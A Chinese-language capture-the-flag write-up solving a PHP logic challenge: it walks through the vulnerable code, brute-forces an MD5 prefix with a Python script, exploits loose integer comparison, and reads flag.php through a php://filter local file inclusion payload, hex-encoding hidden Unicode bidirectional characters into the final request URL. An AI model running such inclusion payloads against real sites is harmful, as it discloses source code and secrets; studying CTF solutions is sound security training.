php代码逻辑题

  1. error_reporting(0);:这行代码将错误报告级别设置为0,即禁用错误报告。

  2. show_source(__FILE__);:此函数用于显示当前文件的源代码。这可能是为了让程序员查看代码以进行调试或了解代码的工作原理。

  3. $guess = $_POST['guess'];:将$_POST['guess']的值赋给变量$guess$_POST是一个包含通过HTTP POST方法发送的变量和值的关联数组。

  4. $data = (array)json_decode(@$_GET['data']);:这行代码将$_GET['data']的值解码为JSON格式,并将其转换为数组。$_GET是一个包含通过URL查询字符串发送的变量和值的关联数组。

  5. if(substr(md5($guess),0,27)=='797ed5077436dc8abaec64750e2'):使用md5哈希函数将$guess的值转换为MD5哈希,并检查前27个字符是否与给定的值匹配。

  6. if ($data['aaa'] !==666 && intval($data['aaa'],0) == 666 &‮⁦+!!⁩⁦& "he‮⁦ Flag!⁩⁦ctf" == $_GET[‮⁦LAG⁩⁦hectf]):这是一个复杂的条件语句。首先,它检查$data['aaa']的值是否不等于666,并且$data['aaa']的整数值是否等于666。接下来,它检查字符串"he‮⁦ Flag!⁩⁦ctf"是否等于$_GET[‮⁦LAG⁩⁦hectf]。请注意,此条件中的一些字符似乎是反向的,这可能是一种试图绕过字符串匹配检查的技巧。

  7. include $data['arr'][0];:如果前面的条件都满足,将包含$data['arr'][0]中指定的文件。这意味着该代码片段将根据特定条件包含其他代码文件。

  8. else:如果前面的条件不满足,则执行以下代码块。

  9. die("Try hard!");:这行代码将输出"Try hard!"并终止执行,显示该消息给用户。

首先传一个guess,按要求要md5加密后被截断前27个要与之匹配,这里网上找个脚本

from multiprocessing.dummy import Pool as tp
import hashlib

print("请输入md5截断内容")
x=input()
knownMd5 = x

print("请输入截断起始位置")
a=int(input())
print("请输入截断终止位置")
b=int(input())

print("爆破结果为:")

def md5(text):
    return hashlib.md5(str(text).encode('utf-8')).hexdigest()

def findCode(code):   
    key = code.split(':')
    start = int(key[0])  
    end = int(key[1]) 
    for code in range(start, end):
        if md5(code)[a:b] == knownMd5:            
            print (code)
            break
list=[] 
for i in range(3):    #这里的range(number)指爆破出多少结果停止
    list.append(str(10000000*i) + ':' + str(10000000*(i+1)))
pool = tp()    #使用多线程加快爆破速度
pool.map(findCode, list) 
pool.close()
pool.join()

得出guess=39985

然后传入一个data,以json形势传入,传入后变成数组

同时最后有一个include可以读取到data里的数组按照读取的形势我们可以判断出这是个二维数组。

我们构造data.

data={"aaa":666.1,"arr":["php://filter/read=convert.base64-encode/resource=flag.php",2]}

最关键的点来了,我们拖动鼠标标记hectf我们会发现后面也会被一起选中。于是我们知道这里有点东西。我们把代码复制然后粘贴到文本文档里,我们会发现出现了乱码。于是我们这里用到010Editor来查看代码,转化成Hex。

我们选中双引号里的hectf 复制左边的hex码,然后2个字符前加一个%。这就是我们要传入get请求的数据

php代码逻辑题_第1张图片

%68%65%E2%80%AE%E2%81%A6%20%46%6C%61%67%21%E2%81%A9%E2%81%A6%63%74%66 

选中中括号里的hectf同理,这就是我们要做的get请求

 

php代码逻辑题_第2张图片

%E2%80%AE%E2%81%A6%4C%41%47%E2%81%A9%E2%81%A6%68%65%63%74%66 

http://43.143.172.74:4002/?data={"aaa":666.1,"arr":["php://filter/read=convert.base64-encode/resource=flag.php",2]}&%E2%80%AE%E2%81%A6%4C%41%47%E2%81%A9%E2%81%A6%68%65%63%74%66=%68%65%E2%80%AE%E2%81%A6%20%46%6C%61%67%21%E2%81%A9%E2%81%A6%63%74%66 

guess=39985

php代码逻辑题_第3张图片

php代码逻辑题_第4张图片 

 

 

得出答案PD9waHAgDQogICAgJGZsYWcgPSAiSEVDVEZ7anNvbl93ZWFrcGhwfSI7

base64解码后

    $flag = "HECTF{json_weakphp}";

你可能感兴趣的:(题目,网络安全)